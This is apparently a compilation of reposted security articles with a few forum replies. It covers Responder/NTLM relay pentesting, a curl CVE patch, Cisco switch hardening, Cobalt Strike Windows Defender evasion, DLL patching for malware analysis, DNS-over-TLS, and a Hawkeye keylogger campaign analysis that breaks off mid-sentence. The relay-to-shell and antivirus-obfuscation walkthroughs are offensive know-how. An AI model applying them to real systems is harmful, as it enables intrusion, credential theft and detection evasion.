May 3, 2017 Overview: Responder is a great tool that every pentester needs in their arsenal. If a client/target cannot resolve a name via DNS it will fall back to name resolution via LLMNR (introduced in Windows Vista) and NBT-NS. Now, assuming we have Responder running we will essentially say ‘yeah, this is me’ to all of the LLMNR and NBT-NS requests that we see, and then traffic will be directed to us. Great. In this brief overview we shall be touching on a couple of the common uses as well as new functionality recently introduced by @pythonresponder. Targeting specific host(s): If you want to target a specific IP/range of IPs, you can edit Responder.conf and change the RespondTo argument. This is extremely useful when you have a specific target in sight and don’t want to potentially cause network-wide disruption. Additionally, it is also possible to specify the NBT-NS/LLMNR name by altering the RespondToName argument, although this is something I have yet to fully experiment with. In the following screenshot we have limited attacks to the host 192.168.10.17. Listen only mode: You can use Responder in listen only mode, i.e. analyse, but don’t actively respond to any requests. This can be achieved using the -A parameter and again this is a useful feature to see how chatty the network is without actively targeting any hosts. Active attacks: In the following example the attacking IP address is 192.168.10.206 and we are targeting a single host 192.168.10.17 via SMB. This is a common scenario in which a user mistypes the name of a server, hence the DNS lookup fails and name resolution falls back to NBT-NS and LLMNR. From the above Wireshark output it’s possible to see that 192.168.10.17 sends a NBNS query to the broadcast address 192.168.255.255, and the attacking host 192.168.10.206 immediately replies stating that it is in fact file-share-123 and returns it’s own IP within the response. It is also possible to see within the Wireshark capture that immediately after the NBNS request/response the same process happens over LLMNR but using the registered multicast address of 224.0.0.252. The keen eyed readers will also see that this process is also performed over IPv6 and the Multicast address of FF02::1:3 is used (details also available from the above link). The outcome of this is that the victim now believes that we are indeed file-share-123 and attempts to establish communications over SMB (TCP 445). From here we can continue to steal the NTLMv2 hash for the affected user (in this instance a local user called default) for offline cracking. And this is the SMB negotiation viewed through Wireshark… There’s plenty more to play and experiment with in Responder, but for now we’re going to move onto some of the more recent features added to this project. Multi-relay attacks: This is one of the newer features that @pythonresponder introduced towards the end of 2016. Using this tool we can relay our NTLMv1/2 authentication to a specific target and then, during a successful attack, execute code. Before we get into the nitty gritty of this attack it should be stated that only privileged users are targeted by default (good reasoning behind this) and the target cannot have SMB signing in place. A nice script RunFinger.py has been packaged within the tools directory of Responder and this allows us to verify the latter on our target(s) before actively targeting any hosts (it will become clear why we are targeting 192.168.11.17 with RunFinger.py instead of 192.168.10.17 shortly). In preparation of this attack we need to disable the SMB and HTTP servers used by Responder otherwise we’ll get some conflicts between this and Multi-relay (example shown below). For this following example we’ll disable these specific services within the Responder.conf file by changing the relevant service to “Off”. Job done. Again, running Responder with default options it is possible to see that these two services are now disabled. We are now going to poison responses for the victim 192.168.10.17 (as in previous examples), but we are also now going to relay our session authentication to a 2nd host 192.168.11.17. The syntax for this tool is show below, where the IP is the address to which you want to relay authentication and hopefully obtain shell access: python MultiRelay.py -t 192.168.11.17 -u ALL In the following example the host is a default installation of Windows 10 and the victim user currently authenticated to 192.168.10.17 is a local administrator user named default. Within the below output it’s possible to see that this user is whitelisted (we specified -u ALL as a parameter), but access to the relayed host 192.168.11.17 is denied. Multi-relay is doing us a favour here and doesn’t continue to attempt to authenticate to the host which could potentially lock accounts out very quickly. Nice touch. Spoiler; both 192.168.10.17 and 192.168.11.17 have the same account/credentials configured. Viewing this in Wireshark reveals the following (heavily condensed view). So we have an administrative user (who actually has valid credentials on the host), but it’s not the default administrator account with RID 500. Let’s run the attack again, but this time we’ll target the local administrator account with RID 500. Ah, success! So we have successfully relayed authentication for the default RID 500 from the victim 192.168.10.17 and gained shell access on 192.168.11.17 as both hosts use the same local administrator account credentials. It should also be mentioned that both are domain members and not standalone workgroup based systems. The following Wireshark output shows only the smb traffic involved within this initial relay communication where we can clearly see the relay route 192.168.10.17 (poisoned victim) > 192.168.10.206 (attacker) > 192.168.11.17 (relay target). Multi-relay functionality: This is where Multi-relay now comes into its own. At the end of March this year @pythonresponder alongside @gentilkiwi added Mimikatz integration (amongst a few other fun tools) that makes obtaining credentials/hashes a breeze. Let’s experiment with these; we currently have a Multi-relay shell on 192.168.11.17 and we can easily invoke standard Mimikatz functions by using the mimi command (or mimi32 if we’re targeting a 32-bit host). Other useful functionality includes the super quick SMB scanner that can be used to find other potential targets within the network. A example of this is shown in the following screenshot from which a /16 range was supplied (our example network is a 192.168.0.0/16 with each 192.168.X.0/24 range having identical systems for student lab work). Let’s play with one last feature of Multi-relay and use this tool to spawn every pentesters favourite shell, Meterpreter. Firstly we’ll need to configure an appropriate listener in msf and for this example we will be using exploit/multi/script/web_delivery. Without going into specific detail about this exploit, this will be hosted on our attacking system 192.168.10.206, some basic options have been set and PowerShell has been configured as the target. Returning to the Multi-relay shell we can now run our favourite IEX command and hopefully pop some more shells. Notice that we’re not expecting any output here so the “something went wrong…” output can generally be ignored in this specific case. Returning to the msf web_delivery exploit we see some action and once the shell has landed we can use built-in Meterpreter tricks and/or post modules/functionality from within the msf framework as desired. Prevention & remediation activities: To tighten the security of your Windows systems the following tweaks can be made. Responder Disable LLMNR via group policy Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled Disable NBT-NS This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under “NetBIOS setting” select Disable NetBIOS over TCP/IP Alternatively this task can be accomplished through modifying the registry by navigating to the following key and changing the value to 2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\{$InterfaceID}\NetbiosOptions Multi-relay Enable SMB signing via group policy More details of SMB signing and the various values that can be defined can be found within the following links (a couple selected from a vast sea of information available from a quick Google search). It goes without saying that configurations will need to be thoroughly tested to ensure communication is unaffected and in a secure state. Sursa: https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/

Yesterday curl released a security advisory for a vulnerability reported by Alex Nichols. The vulnerable code is in lib/curl_ntlm_core.c of libcurl and specifically in Curl_ntlm_core_mk_ntlmv2_hash() function. Below you see the vulnerable function. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 /* This creates the NTLMv2 hash by using NTLM hash as the key and Unicode * (uppercase UserName + Domain) as the data */ CURLcode Curl_ntlm_core_mk_ntlmv2_hash(const char *user, size_t userlen, const char *domain, size_t domlen, unsigned char *ntlmhash, unsigned char *ntlmv2hash) { /* Unicode representation */ size_t identity_len = (userlen + domlen) * 2; unsigned char *identity = malloc(identity_len); CURLcode result = CURLE_OK; if(!identity) return CURLE_OUT_OF_MEMORY; ascii_uppercase_to_unicode_le(identity, user, userlen); ascii_to_unicode_le(identity + (userlen << 1), domain, domlen); result = Curl_hmac_md5(ntlmhash, 16, identity, curlx_uztoui(identity_len), ntlmv2hash); free(identity); return result; } The “identity_len” is calculating the sum of the username and password lengths, and multiplies the result by two. Then, the result is used to allocate a heap buffer via malloc() and the subsequent calls use the newly allocated “identity” heap buffer. However, if the username and password length is larger than 2GB on architectures were “size_t” data type is 32-bit the “(userlen + domlen) * 2”, it will result in an integer overflow which will leads in a tiny buffer being allocated via malloc() and resulting in a heap based buffer overflow in the subsequent calls. Below you can see how Daniel Stenberg patched lib/curl_ntlm_core.c to fix this vulnerability. First, a new pre-processor definition was added to ensure that the appropriate (per architecture) maximum value for “size_t” data type is set to the “SIZE_T_MAX” constant. 1 2 3 4 5 6 7 8 #ifndef SIZE_T_MAX /* some limits.h headers have this defined, some don't */ #if defined(SIZEOF_SIZE_T) && (SIZEOF_SIZE_T > 4) #define SIZE_T_MAX 18446744073709551615U #else #define SIZE_T_MAX 4294967295U #endif #endif And as expected, this new constant is used in Curl_ntlm_core_mk_ntlmv2_hash() function to ensure that the length calculation will not result in an integer overflow. In case it exceeds this limit the code will return “CURLE_OUT_OF_MEMORY” error code. You can see the diff below. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /* Unicode representation */ - size_t identity_len = (userlen + domlen) * 2; - unsigned char *identity = malloc(identity_len); + size_t identity_len; + unsigned char *identity; CURLcode result = CURLE_OK; + /* we do the length checks below separately to avoid integer overflow risk + on extreme data lengths */ + if((userlen > SIZE_T_MAX/2) || + (domlen > SIZE_T_MAX/2) || + ((userlen + domlen) > SIZE_T_MAX/2)) + return CURLE_OUT_OF_MEMORY; + + identity_len = (userlen + domlen) * 2; + identity = malloc(identity_len); + if(!identity) Sursa: https://xorl.wordpress.com/2017/11/30/cve-2017-8816-curl-ntlm-authentication-buffer-overflow/

Cisco switch security features cheatsheet Published July 20, 2018 by Shahriar 0 Cisco switches (running IOS) have plenty of features that are critical to modern networks. Some are Cisco security features that eliminate several important attack vectors on layer 2. This is arguably the most important defense mechanism because ACLs and security mechanisms on software (layer 7) will sometimes fall short protecting the network because of the extreme complexity of communication up in this layer. So the earlier you close the holes the better! As an example security features like protected ports can effectively harden lateral movement in windows networks (Active Directory domains), also while being so dead simple compared to more advanced methods implemented on top of active directory itself. In this post I will give you the commands needed to implement some security features in a Cisco switch in a cheetsheet like manner. It is important to fully understand what each feature will do, as failing to do so and running the commands blindly may cause disruption in your network. Just look up each one and read about it. 🙂 Reading official Cisco CCNP books is super recommended! Port Security int INTERFACE switchport mode access switchport access vlan 123 #port security configuration starts here: switchport port-security maximum # switchport port-security aging type inactive switchport port-security aging time 5 switchport port-security violation restrict switchport port-security mac-address MAC switchport port-security mac-address sticky 1 2 3 4 5 6 7 8 9 10 11 int INTERFACE switchport mode access switchport access vlan 123 #port security configuration starts here: switchport port-security maximum # switchport port-security aging type inactive switchport port-security aging time 5 switchport port-security violation restrict switchport port-security mac-address MAC switchport port-security mac-address sticky These two commands show you port-security stats and make troubleshooting easier: show port-sec address show port-sec interface INTERFACE 1 2 show port-sec address show port-sec interface INTERFACE DHCP Snooping #(conf) ip dhcp snooping ip dhcp snooping vlan # interface INTERFACE ip dhcp snooping trust int USER-INTERFACE ip dhcp snooping limit rate #(pps) 1 2 3 4 5 6 7 8 9 #(conf) ip dhcp snooping ip dhcp snooping vlan # interface INTERFACE ip dhcp snooping trust int USER-INTERFACE ip dhcp snooping limit rate #(pps) Related show command: show ip dhcp snooping 1 show ip dhcp snooping Dynamic ARP Inspection ip arp inspection ip arp inspection vlan 123 interface INTERFACE ip arp inspection trust interface USER-INTERFACE ip arp inspection limit rate #(pps) 1 2 3 4 5 6 7 8 ip arp inspection ip arp inspection vlan 123 interface INTERFACE ip arp inspection trust interface USER-INTERFACE ip arp inspection limit rate #(pps) Related show command: show ip arp inspection vlan 123 1 show ip arp inspection vlan 123 IP Source Guard It requires DHCP snooping (or static ip/mac bindings) Port based: interface INTERFACE ip verify source(ip) port-security(mac) 1 2 interface INTERFACE ip verify source(ip) port-security(mac) Creating manual entries: ip source binding MAC vlan # IP_ADDRESS interface INTERFACE 1 ip source binding MAC vlan # IP_ADDRESS interface INTERFACE Related show command: show ip source binding 1 show ip source binding Protected ports Ports that cannot communicate with each other directly. ##private vlan edge aka protected ports : no direct traffic between those ports## interface INTERFACE switchport protected 1 2 3 4 ##private vlan edge aka protected ports : no direct traffic between those ports## interface INTERFACE switchport protected Spanning Tress root guard int INTERFACE spanning-tree guard root superior bpdu 1 2 int INTERFACE spanning-tree guard root superior bpdu STP BPDU Guard: with Spanning tree port-fast spanning-tree bpduguard enable 1 spanning-tree bpduguard enable Storm Control interface INTERFACE #(do not clip anymore – all specified traffic is dropped until end of duration [1s]) storm-conftrol broadcast level (bbp | pps | %) # # show storm-control b|m|u storm-control action ACTION 1 2 3 4 5 interface INTERFACE #(do not clip anymore – all specified traffic is dropped until end of duration [1s]) storm-conftrol broadcast level (bbp | pps | %) # # show storm-control b|m|u storm-control action ACTION I hope you like this post. I am looking forward to improving this post using your contributions in a wiki-like manner. so if you think of any other feature which would be nice to be included in this post, please comment or email me and I will add it here. Thanks 🙂 Sursa: https://rayanfam.com/topics/cisco-switch-sec-cheatsheet/

https://github.com/apple/cups

Nu se reproduce la ei, am incercat si eu. Nu e de la IPBoard, e de la singurul plugin amarat pe care il aveam si noi: https://invisioncommunity.com/files/file/8395-ne-hide-post-content/ L-am dezactivat si e ok acum.

L-am raportat, am acordat credite (evident). Revin cand am un raspuns de la ei. Multumim frumos!

Vezi asta: https://stackoverflow.com/questions/13102045/scanner-is-skipping-nextline-after-using-next-or-nextfoo

CTFPWNng Next-gen automation framework for attack-defense CTFs. Dependencies Redis (redis-server and redis-cli) Nmap GNU parallel Usage ./ctfpwn.sh Target Identification The targets directory includes a wrapper script (run-targets.sh) that runs Nmap scans on the target range in order to identify alive hosts. This script should run regularly as a cronjob (TBD). Before ctfpwn.sh can be started, the script should run at least once to create a initial output file: cd targets ./run-targets.sh Add Exploits Adding a new exploit is as easy as copying the exploits/_template directory. The following example creates an exploit for a service called wood cd ctfpwnng cp -r exploits/_template exploits/wood An exploit directory requires at least two files (already included in the exploits/_template directory): service: A service definition file. This file must contain the _SERVICE_NAME and _SERVICE_PORT variables. run.sh: The exploit wrapper script that either includes or starts the actual exploit code. It is also responsible for calling the log_flags() function that will add flags to the Redis database. Disable Exploits Exploits can be disabled by either creating a .disabled file: touch exploits/wood/.disabled Or by preceeding the exploit directory name with an underscore: mv exploits/wood exploits/_wood Sursa: https://github.com/takeshixx/ctfpwnng

Cobalt Strike – Bypassing Windows Defender with Obfuscation Guest post by team member @taso_x For all red teamers delivering payloads while not kicking off all the bells and whistles of the organization is always a challenge. Just like all other security solutions Windows Defender has become better at detecting generic payloads generated with tools such as Cobalt Strike. In this example we will go through the generation of a PowerShell payload with Cobalt Strike and see how we can manipulate it in a way that it will execute bypassing Windows Defender on a Windows 10 PC. This is not the most elegant or easier solution to hide your payloads from Windows Defender but it is one of the methods we use and it works. The process for creating the payload is as follows: This will result to payload.txt being created which includes a PowerShell command. If we try to run the command on the victim PC we are greeted by Windows Defender which picks it up as a threat. In order to bypass Windows Defender we need to first understand how Cobalt Strike creates its payloads and then change some of its signatures hoping that Windows Defender will consider it safe. First of all it is obvious that the payload command it base64 encoded by either looking at the format or by the -encodedcommand PowerShell flag. To decode the command we need to cut out the powershell.exe -nop -w hidden -encodedcommand part and keep the rest. Then decode the rest of the string with the following command. echo 'base64 payload' | base64 -d The resultant decoded string includes a base64 encoded string again but trying to decode that will not work and spit out gibberish because the string is also Gzip compressed apparent from the IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s[IO.Compression.CompressionMode]::Decompress))).ReadToEnd() part of the PowerShell command. Now we need to understand what is inside this command as this is the part which is actually triggering Windows Defender i.e the payload. Through some Google searching I found this PowerShell script that does exactly that http://chernodv.blogspot.com.cy/2014/12/powershell-compression-decompression.html $data = [System.Convert]::FromBase64String('gzip base64') $ms = New-Object System.IO.MemoryStream $ms.Write($data, 0, $data.Length) $ms.Seek(0,0) | Out-Null $sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress)) $sr.ReadToEnd() | set-clipboard The script will first base64 decode the string and the decompress it providing us with the entire code. It will also copy the contents of the output to the clipboard to paste it in a text file which is going to be used later on. The $var_code variable holds the payload which is being detected by Windows Defender and we will need to swap out to bypass the defender. Decoding $var_code further it is a series of ASCII characters but decoding it fully is not required at this point. $enc=[System.Convert]::FromBase64String('encoded string') We can read part of the contents with: $readString=[System.Text.Encoding]::ASCII.GetString($enc) The above now shows some information about the user agent and our attackers IP. The target now is to take the current payload and obfuscate it in a way that it will trick Windows Defender. The best tool and the tool of choice for this type of job is Invoke-Obfuscation by Daniel Bohannon. The Github page for the project can be found here. The commands for starting with Invoke-Obfuscation are: Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation Now we need to define the payload part that we need to obfuscate. This can be done with the following command Set scriptblock 'final_base64payload' The tool will take our script block and then ask us for the way that we want to proceed. In this case i chose COMPRESS and then 1. This doesn’t mean that the other options will not work but i found this one to be working at the time of writing. Invoke-Obfuscation will do it’s magic and print out a PowerShell command which is mangled enough that it could potentially bypass Windows Defender. Then just type Out and the path that you want to save this as a PowerShell script. Out c:\payload.ps1 The current decompressed payload from previous steps looks like this. So it all boils down to the fact that we need to replace the [Byte[]]$var_code = [System.Convert]::FromBase64String contents with our newly created payload from Invoke-Obfuscation. To do that i define a new variable which i call $evil and just put the contents of the output from Invoke-Obfuscation. Important – You need to strip out the part after the last | from the output of Invoke-Obfuscation because that it’s the command that executes the command. We will not need that because the Cobalt Strike template will do that for us. Save the edited script into a PowerShell file and execute it. The result should be a beacon in Cobalt Strike and a Slack notification if your are using @sec_groundzero Aggressor Script If we examine both the vanilla CS payload and the modified CS payload with Process Hacker we see that we don’t change the underlying behaviour of the beacon. Sursa: http://www.offensiveops.io/tools/cobalt-strike-bypassing-windows-defender-with-obfuscation/

How to turn a DLL into a standalone EXE Posted on July 21, 2016 by hasherezade During malware analysis we can often encounter payloads in form of DLLs. Analyzing them dynamically may not be very handy, because they need some external loaders to run. Different researchers have different tricks to deal with them. In this post I will describe some of my tricks for patching DLLs, so that they can run as independent executables. Usually we can encounter 2 cases: meaningful code starts in one of the exported functions meaningful code starts in DllMain To illustrate those cases with real-life examples I will use 2 malware samples. First case – represented by Bunitu Trojan (b0a91e1f91078bad48252edc989e868e) and second case: represented by Petya/Mischa dropper (c8e4829dcba8b288bd0ed75717214db6). Those DLLs have been unpacked from their loaders/crypters – but in order to keep things simple I am not gonna describe here the full process of unpacking. In both cases we will start from editing the field Characteristics in the File Header and removing the flag indicating that the file is a DLL. I will do it using PE-bear: I changed the value: Case #1: When the meaningful code starts in the exported function In this case, one more modification is required before we save the file. We have to change the entry point in order to point the appropriate function from export table – the one where the execution of the meaningful code starts. We need to find the Function RVA: Then, follow it: On the Disasm tab we can see the code of this function. Now, we should redirect Entry Point to it’s beginning: And save the file as EXE: In case of Bunitu Trojan, this function does not take any parameters, so we not need to fill anything more. Now, we can run the saved file like a normal executable (see the patched version at malwr). Case #2 – meaningful code starts in DllMain This time we not need to change the Entry Point – just after changing Characteristics in File Header save the file and load it under a debugger (I will use OllyDbg). Similarly to the main function in typical executables, DLLs have their DllMain function that is executed automatically when they are loaded to the memory (the same function is also executed on few more events – i.e. on DLL unloading). Let’s recall it’s header: BOOL WINAPI DllMain( _In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved ); As we can see, the function takes 3 arguments. The first one (hinstDLL) is the handle to the memory area where the DLL has been loaded. Second stores a value that indicates the reason why the DllMain has been triggered. Read more here. To make our patched DLL run properly, we must take care that it’s arguments will be filled with proper values – especially important are the first two that I mentioned. The first argument: hinstDLL – must contain the module handle (ImageBase). Second usually should be filled with 1 – to emulate DLL_PROCESS_ATTACH. That’s how the Entry Point of the dumped executable looks: Let’s add a code that will overwrite the arguments with valid values. I will utilize some free cave for this purpose. Fortunately, there is enough space at the end of the code section: I am gonna do some patching in order to redirect execution to this place. We need 5 bytes for the jump – so, let’s remove/rearrange some code in order to gain the space (if we are lacking in space, some instructions can be also moved to the cave, along with the added code): Patched – step 1: Patched – step 2: I redirected execution to the mentioned cave. We will copy aside the address that is just after the added jump, to go back to this place later. Now let’s fill the cave with needed code. To fill the first argument with the valid ImageBase I will copy the value from Process Environment Block (pointed by FS:[30]) . This is example of the code that do this job: MOV EAX, [FS:0X30] ; copy to EAX handle to PEB MOV EAX, [EAX+0X8] ; copy to EAX the field with ImageBase MOV [EBP+0X8], EAX ; copy the content of EAX into the first argument Now, let’s fill the second argument with a vale 1, emulating that the DLL is loaded: MOV DWORD [EBP+0XC], 0X1 The third argument can be filled with NULL: MOV DWORD [EBP+0X10], 0 Added code: Now only returning jump is remaining: And we can save the modified executable: Now we can run/debug the saved file as a standalone executable. Ending note Of course the described techniques are not a silver bullet and they may not cover all the cases you encounter. My goal was just to provide some examples and inspiration for experiments. However, those simple tricks worked for me in many cases making the work much easier. Appendix https://en.wikipedia.org/wiki/Win32_Thread_Information_Block https://en.wikipedia.org/wiki/Process_Environment_Block Sursa: https://hshrzd.wordpress.com/2016/07/21/how-to-turn-a-dll-into-a-standalone-exe/

DNS-Over-TLS Built-In & Enforced - 1.1.1.1 and the GL.iNet GL-AR750S 14 Jul 2018 by Junade Ali. inShare GL.iNet GL-AR750S in black, same form-factor as the prior white GL.iNet GL-AR750. Credit card for comparison. Back in April, I wrote about how it was possible to modify a router to encrypt DNS queries over TLS using Cloudflare's 1.1.1.1 DNS Resolver. For this, I used the GL.iNet GL-AR750 because it was pre-installed with OpenWRT (LEDE). The folks at GL.iNet read that blog post and decided to bake DNS-Over-TLS support into their new router using the 1.1.1.1 resolver, they sent me one to take a look at before it's available for pre-release. Their new router can also be configured to force DNS traffic to be encrypted before leaving your local network, which is particularly useful for any IoT or mobile device with hard-coded DNS settings that would ordinarily ignore your routers DNS settings and send DNS queries in plain-text. In my previous blog post I discussed how DNS was often the weakest link in the chain when it came to browsing privacy; whilst HTTP traffic is increasingly encrypted, this is seldom the case for DNS traffic. This makes it relatively trivial for an intermediary to work out what site you're sending traffic to. In that post, I went through the technical steps required to modify a router using OpenWRT to support DNS Privacy using the DNS-Over-TLS protocol. GL.iNet were in contact since I wrote the original blog post and very supportive of encrypting DNS queries at the router level. Last week whilst working in Cloudflare's San Francisco office, they reached out to me over Twitter to let me know they were soon to launch a new product with a new web UI containing a "DNS over TLS from Cloudflare" feature and offered to send me the new router before it was even available for pre-order. On arrival back to our London office, I found a package from Hong Kong waiting for me. Aside from the difference in colour, the AR750S itself is identical in form-factor to the AR750 and was packaged up very similarly. They both have capacity for external storage, an OpenVPN client and can be powered over USB; amongst many other useful functionalities. Alongside the S suffixing the model number, I did notice the new model had some upgraded specs, but I won't dwell on that here. Below you can see the white AR750 and the new black AR750S router together for comparison. Both have a WAN ethernet port, 2 LAN ethernet ports, a USB port for external storage (plus a micro SD port) and a micro USB power port. The UI is where the real changes come. In the More Settings tab, there's an option to configure DNS with some nice options. One notable option is the DNS over TLS from Cloudflare toggle. This option uses the TLS security protocol for encrypting DNS queries, helping increase privacy and prevent eavesdropping. Another option, Override DNS Settings for All Clients, forcibly overrides the DNS configuration on all clients so that queries are encrypted to the WAN. Unencrypted DNS traffic is intercepted by the router, and by forcing traffic to use it's own local resolver, it is able to transparently rewrite traffic to be encrypted before leaving the router and heading out into the public internet to the upstream resolver - 1.1.1.1. This option is particularly useful when dealing with embedded systems or IoT devices which don't have configurable DNS options; Smart TVs, TV boxes, your toaster, etc. As this router can proxy traffic over to other Wi-Fi networks (and is portable), this is particularly useful when connecting out to an ordinarily insecure Wi-Fi network; the router can sit in the middle and transparently upgrade unencrypted DNS queries. This is even useful when dealing with phones and tablets where you can't install a DNS-Over-TLS client. These options both come disabled by default, but can easily be toggled in the UI. As before, you can configure other DNS resolvers by toggling "Manual DNS Server Settings" and entering in any other DNS servers. There are a number of other cool features I've noticed in this router; for example, the More Settings > Advanced option takes you into a standard LuCi UI that ordinarily comes bundled with LEDE routers. Like previous routers, you can easily SSH into the device and install various program and perform customisations. For example; after installing TCPDump on the router, I am able to run tcpdump -n -i wlan-sta 'port 853' to see encrypted DNS traffic leaving the router. When I run a DNS query over an unencrypted resolver (using dig A junade.com on my local computer), I can see the outgoing DNS traffic upgraded to encrypted queries on 1.1.1.1 and 1.0.0.1. If you're interested in learning how to configure 1.1.1.1 on other routers, your computer or your phone - check out the project landing page at https://1.1.1.1/. If you're a developer and want to learn about how you can integrate 1.1.1.1 into your project with either DNS-Over-TLS or DNS-Over-HTTPS, checkout the 1.1.1.1 Developer Documentation. Tagged with 1.1.1.1, DNS, Security, TLS, Privacy, Resolver, IoT Sursa: https://blog.cloudflare.com/dns-over-tls-built-in/

Hawkeye Keylogger – Reborn v8: An in-depth campaign analysis July 11, 2018 Office 365 Threat Research in Microsoft 365, Office 365 Advanced Threat Protection, Windows Defender Advanced Threat Protection, Endpoint Security, Threat Protection, Research Much of cybercrime today is fueled by underground markets where malware and cybercriminal services are available for purchase. These markets in the deep web commoditize malware operations. Even novice cybercriminals can buy malware toolkits and other services they might need for malware campaigns: encryption, hosting, antimalware evasion, spamming, and many others. Hawkeye Keylogger is an info-stealing malware that’s being sold as malware-as-a-service. Over the years, the malware authors behind Hawkeye have improved the malware service, adding new capabilities and techniques. It was last used in a high-volume campaign in 2016. This year marked the resurgence of Hawkeye. In April, malware authors started peddling a new version of the malware that they called Hawkeye Keylogger – Reborn v8. Not long after, on April 30, Office 365 Advanced Threat Protection (Office 365 ATP) detected a high-volume campaign that distributed the latest variants of this keylogger. At the onset, Office 365 ATP blocked the email campaign and protected customers, 52% of whom are in the software and tech sector. Companies in the banking (11%), energy (8%), chemical (5%), and automotive (5%) industries are also among the top targets Figure 1. Top industries targeted by the April 2018 Hawkeye campaign Office 365 ATP uses intelligent systems that inspect attachments and links for malicious content to protect customers against threats like Hawkeye in real time. These automated systems include a robust detonation platform, heuristics, and machine learning models. Office 365 ATP uses intelligence from various sensors, including multiple capabilities in Windows Defender Advanced Threat Protection (Windows Defender ATP). Windows Defender AV (a component of Windows Defender ATP) detected and blocked the malicious attachments used in the campaign in at least 40 countries. United Arab Emirates accounted for 19% of these file encounters, while the Netherlands (15%), the US (11%), South Africa (6%) and the UK (5%) make the rest of the top 5 countries that saw the lure documents used in the campaign. A combination of generic and heuristic protections in Windows Defender AV (TrojanDownloader:O97M/Donoff, Trojan:Win32/Tiggre!rfn, Trojan:Win32/Bluteal!rfn, VirTool:MSIL/NetInject.A) ensured these threats are blocked in customer environments. Figure 2. Top countries that encountered malicious documents used in the Hawkeye campaign As part of our job to protect customers from malware attacks, Office 365 ATP researchers monitor malware campaigns like Hawkeye and other developments in the cybercriminal landscape. Our in-depth investigation into malware campaigns like Hawkeye and many others adds to the vast threat intelligence we get from the Microsoft Intelligent Security Graph, which enables us to continuously raise the bar in security. Through the Intelligent Security Graph, security technologies in Microsoft 365 share signals and detections, allowing these technologies to automatically update protection and detection mechanisms, as well as orchestrate remediation across Microsoft 365. Figure 3. Microsoft 365 threat protection against Hawkeye Campaign overview Despite its name, Hawkeye Keylogger – Reborn v8 is more than a common keylogger. Over time, its authors have integrated various modules that provide advanced functionalities like stealth and detection evasion, as well as credential theft and more. Malware services like Hawkeye are advertised and sold in the deep web, which requires anonymity networks like Tor to access, etc. Interestingly, the Hawkeye authors advertised their malware and even published tutorial videos on a website on the surface web (that has since been taken down). Even more interesting, based on underground forums, it appears the malware authors have employed intermediary resellers, an example of how cybercriminal underground business models expand and evolve. Our investigation into the April 2018 Hawkeye campaign shows that the cybercriminals have been preparing for the operation since February, when they registered the domains they later used in the campaign. Typical of malware campaigns, the cybercriminals undertook the following steps: Built malware samples and malware configuration files using a malware builder they acquired from the underground Built weaponized documents to be used a social engineering lure (possibly by using another tool bought in the underground) Packed or obfuscated the samples (using a customized open-source packer) Registered domains for delivery of malware Launched a spam campaign (possibly using a paid spam service) to distribute the malware Like other malware toolkits, Hawkeye comes with an admin panel that cybercriminals use to monitor and control the attack. Figure 4: Hawkeye’s admin panel Interestingly, some of the methods used in this Hawkeye campaign are consistent with previous attacks. This suggests that the cybercriminals behind this campaign may be the same group responsible for malware operations that delivered the remote access tool (RAT) Remcos and the info-stealing bot malware Loki. The following methods were used in these campaigns: Multiple documents that create a complicated, multi-stage delivery chain Redirections using shortened bit.ly links Use of malicious macro, VBScript, and PowerShell scripts to run the malware; the Remcos campaign employed an exploit for CVE-2017-0199 but used the same domains Consistent obfuscation technique across multiple samples Point of entry In late April, Office 365 ATP analysts spotted a new spam campaign with the subject line RFQ-GHFD456 ADCO 5647 deadline 7th May carrying a Word document attachment named Scan Copy 001.doc. While the attachment’s file name extension was .doc, it was in fact a malicious Office Open XML format document, which usually uses a .docx file name extension. In total, the campaign used four different subject lines and five attachments. Figure 5: Sample emails used in the Hawkeye campaign Because the attachment contains malicious code, Microsoft Word opens with a security warning. The document uses a common social engineering lure: it displays a fake message and an instruction to “Enable editing” and “Enable content”. Figure 6: The malicious document with social engineering lure The document contains an embedded frame that connects to a remote location using a shortened URL. Figure 7: frame in settings.rels.xml on the document The frame loads an .rtf file from hxxp://bit[.]ly/Loadingwaitplez, which redirects to hxxp://stevemike-fireforce[.]info/work/doc/10.doc. Figure 8: RTF loaded as a frame inside malicious document The RTF has an embedded malicious .xlsx file with macro as an OLE object, which in turn contains a stream named PACKAGE that contains the .xlsx contents. The macro script is mostly obfuscated, but the URL to the malware payload is notably in plaintext. Figure 9: Obfuscated macro entry point De-obfuscating the entire script makes its intention clear. The first section uses PowerShell and the System.Net.WebClient object to download the malware to the path C:\Users\Public\svchost32.exe and execute it. The macro script then terminates both winword.exe and excel.exe. In specific scenarios where Microsoft Word overrides default settings and is running with administrator privileges, the macro can delete Windows Defender AV’s malware definitions. It then changes the registry to disable Microsoft Office’s security warnings and safety features. In summary, the campaign’s delivery comprises of multiple layers of components that aim to evade detection and possibly complicate analysis by researchers. Figure 10: The campaign’s delivery stages The downloaded payload, svchost32.exe, is a .NET assembly named Millionare that is obfuscated using a custom version of ConfuserEx, a well-known open-source .NET obfuscator. Figure 11: Obfuscated .NET assembly Millionare showing some of the scrambled names The obfuscation modifies the .NET assembly’s metadata such that all the class and variable names are non-meaningful and scrambled names in Unicode. This obfuscation causes some analysis tools like .NET Reflector to show some namespaces or classes names as blank, or in some cases, display parts of the code backwards. Figure 12: .NET Reflector presenting the code backwards due to obfuscation Finally, the .NET binary loads an unpacked .NET assembly, which includes DLL files embedded as resources in the portable executable (PE). Figure 13: Loading the unpacked .NET assembly during run-time Malware loader The DLL that initiates the malicious behavior is embedded as a resource in the unpacked .NET assembly. It is loaded in memory using process hollowing, a code injection technique that involves spawning a new instance of a legitimate process and then “hollowing it out”, i.e., replacing the legitimate code with malware. Figure 14: In-memory unpacking of the malware using process hollowing. Unlike previous Hawkeye variants (v7), which loaded the main payload into its own process, the new Hawkeye malware injects its code into MSBuild.exe, RegAsm.exe, and VBC.exe, which are 